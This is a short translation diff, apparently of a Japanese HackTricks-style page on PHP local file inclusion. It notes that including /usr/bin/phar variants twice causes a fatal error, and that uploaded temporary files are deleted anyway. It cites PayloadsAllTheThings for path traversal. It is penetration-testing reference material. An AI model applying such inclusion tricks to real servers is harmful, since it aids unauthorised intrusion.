`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar` のいずれかを含めると(そのエラーを発生させるには同じファイルを2回含める必要があります)。 +もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを include するとエラーになります。(そのエラーを発生させるには同じファイルを2回 include する必要があります) -**I don't know how is this useful but it might be.**\ +**どう役立つかは分かりませんが、可能性はあります。**\ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
+ ## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)